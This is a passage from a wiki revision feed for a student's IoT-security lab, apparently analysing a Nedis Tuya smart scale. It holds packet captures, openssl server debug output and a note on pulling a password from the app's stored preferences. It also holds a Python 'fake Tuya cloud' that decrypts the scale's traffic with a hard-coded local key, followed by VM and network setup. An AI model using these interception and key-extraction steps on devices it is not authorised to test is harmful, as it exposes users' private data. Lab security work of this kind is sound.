E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.z........vP....0..&lt;br /&gt;
12:36:46.025500 IP 172.16.10.105.9070 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6521, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O3..&lt;br /&gt;
i..&lt;br /&gt;
.#n&amp;quot;....y....`.............&lt;br /&gt;
12:36:46.025517 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.9070: Flags [R.], seq 0, ack 6522, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.#n.......zP.......&lt;br /&gt;
12:36:47.033189 IP 172.16.10.105.51179 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6527, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O2..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...._......y.&lt;br /&gt;
12:36:47.033206 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.51179: Flags [R.], seq 0, ack 6528, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...?$..&lt;br /&gt;
12:36:47.263020 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:48.287049 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:48.653641 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4B...................&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....Q..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:48.663352 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4.L.......p..........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....Q..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:48.674677 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i&amp;gt;#tB./..P.........&lt;br /&gt;
12:36:48.993649 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
ir...P.............&lt;br /&gt;
12:36:49.311055 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:49.490922 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i.......x....D.....&lt;br /&gt;
12:36:49.492262 ARP, Reply 172.16.10.105 is-at a4:e5:7c:16:2d:4c (oui Unknown), length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i..&amp;gt;#tB..&lt;br /&gt;
...................&lt;br /&gt;
12:36:49.515651 IP 172.16.10.105.29415 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6536, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O...&lt;br /&gt;
i..&lt;br /&gt;
.r.&amp;quot;.........`...kZ........&lt;br /&gt;
12:36:49.515669 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.29415: Flags [R.], seq 0, ack 6537, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.r.........P.......&lt;br /&gt;
12:36:49.518628 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [S], seq 6539, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O-..&lt;br /&gt;
i..&lt;br /&gt;
.z]..........`.............&lt;br /&gt;
12:36:49.518648 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [S.], seq 1378912894, ack 6540, win 64240, options [m&lt;br /&gt;
ss 1460], length 0&lt;br /&gt;
E..,..@.@..A..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0.~....`...l.......&lt;br /&gt;
12:36:49.523505 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [.], ack 1, win 4380, length 0&lt;br /&gt;
E..(......O0..&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P........a3.tu&lt;br /&gt;
12:36:49.527055 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [P.], seq 1:68, ack 1, win 4380, length 67&lt;br /&gt;
E..k......N...&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P...G?......&amp;gt;...:..BAohBAohbmd6aG91IFR1eVjaG5vbG9SB........................&lt;br /&gt;
12:36:49.527081 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [.], ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@..X..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l...&lt;br /&gt;
12:36:49.527462 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [P.], seq 1:8, ack 68, win 64173, length 7&lt;br /&gt;
E../..@.@..P..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l.........(&lt;br /&gt;
12:36:49.527530 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [F.], seq 8, ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@..V..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l...&lt;br /&gt;
12:36:49.569636 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [.], ack 8, win 4373, length 0&lt;br /&gt;
E..(......O...&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P..........C.@&lt;br /&gt;
12:36:49.574893 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [R.], seq 68, ack 8, win 4380, length 0&lt;br /&gt;
E..(......O-..&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P..........&lt;br /&gt;
..&lt;br /&gt;
12:36:50.310055 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i........ ....&amp;gt;....&lt;br /&gt;
12:36:53.526624 IP 172.16.10.105.48314 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6547, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;amp;..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...!|........&lt;br /&gt;
12:36:53.526669 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.48314: Flags [R.], seq 0, ack 6548, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...JA..&lt;br /&gt;
12:36:54.536817 IP 172.16.10.105.44185 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6567, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O%..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...1.........&lt;br /&gt;
12:36:54.536835 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.44185: Flags [R.], seq 0, ack 6568, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...ZN..&lt;br /&gt;
12:36:55.545631 IP 172.16.10.105.26626 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6589, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O$..&lt;br /&gt;
i..&lt;br /&gt;
.h.&amp;quot;.........`...v&lt;br /&gt;
........&lt;br /&gt;
12:36:55.545649 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.26626: Flags [R.], seq 0, ack 6590, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.h.........P.......&lt;br /&gt;
12:36:56.554680 IP 172.16.10.105.16244 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6611, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O#..&lt;br /&gt;
i..&lt;br /&gt;
.?t&amp;quot;.........`.............&lt;br /&gt;
12:36:56.554698 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.16244: Flags [R.], seq 0, ack 6612, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.?t........P....G..&lt;br /&gt;
^C&lt;br /&gt;
57 packets captured&lt;br /&gt;
57 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;port 8886 chez tuya ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 00 00 00 00   d6aG91IFR1eV....&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 00   ...:..BAohBAohb.&lt;br /&gt;
0010 - 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 00 00 00 00-00 00 00 00 00 00 00 00   d6aG............&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;trouver un mdp dans l'appli nedis /data/data/com.nedis.smartlife/shared_prefs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
decouverte de tinytuya : https://github.com/jasonacox/tinytuya&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import tinytuya&lt;br /&gt;
import json&lt;br /&gt;
&lt;br /&gt;
LOCAL_KEY = '674d29fb978a1705' &lt;br /&gt;
&lt;br /&gt;
IP_BALANCE = '172.16.10.105'&lt;br /&gt;
&lt;br /&gt;
print(f&amp;quot;[*] Démarrage du Faux Cloud Tuya...&amp;quot;)&lt;br /&gt;
print(f&amp;quot;[*] Clé utilisée : {LOCAL_KEY}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
server_socket.bind(('0.0.0.0', 8886))&lt;br /&gt;
server_socket.listen(1)&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[*] En attente de la balance sur le port 8886...&amp;quot;)&lt;br /&gt;
print(&amp;quot;[*] Monte sur la balance maintenant !&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
while True:&lt;br /&gt;
    try:&lt;br /&gt;
        client, addr = server_socket.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion reçue de {addr[0]} !&amp;quot;)&lt;br /&gt;
        &lt;br /&gt;
        data = client.recv(4096)&lt;br /&gt;
        &lt;br /&gt;
        if data:&lt;br /&gt;
            print(f&amp;quot;[i] {len(data)} octets reçus (chiffrés). Tentative de décodage...&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                d = tinytuya.OutletDevice('DUMMY_ID', IP_BALANCE, LOCAL_KEY)&lt;br /&gt;
                d.set_version(3.3) # Version standard WiFi&lt;br /&gt;
                &lt;br /&gt;
                decrypted = d._decode_payload(data)&lt;br /&gt;
                &lt;br /&gt;
                if decrypted:&lt;br /&gt;
                    print(&amp;quot;\n&amp;quot; + &amp;quot;=&amp;quot;*40)&lt;br /&gt;
                    print(&amp;quot;donnés :&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;=&amp;quot;*40)&lt;br /&gt;
                    parsed = json.loads(decrypted)&lt;br /&gt;
                    print(json.dumps(parsed, indent=4))&lt;br /&gt;
                    &lt;br /&gt;
                    if 'dps' in parsed:&lt;br /&gt;
                        print(&amp;quot;\nVALEURS :&amp;quot;)&lt;br /&gt;
                        for k, v in parsed['dps'].items():&lt;br /&gt;
                            print(f&amp;quot;- Data Point {k} : {v}&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;=&amp;quot;*40)&lt;br /&gt;
                else:&lt;br /&gt;
                    print(&amp;quot;[-] Échec du décryptage (Format inconnu ou clé incorrecte pour ce paquet)&amp;quot;)&lt;br /&gt;
                    &lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;[-] Erreur de décodage : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        client.close()&lt;br /&gt;
        &lt;br /&gt;
    except KeyboardInterrupt:&lt;br /&gt;
        print(&amp;quot;\nArrêt.&amp;quot;)&lt;br /&gt;
        break&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;Erreur serveur : {e}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10912</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10912"/>
		<updated>2025-12-02T15:44:31Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Nedis Wi-Fi Smart Personal Scales */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
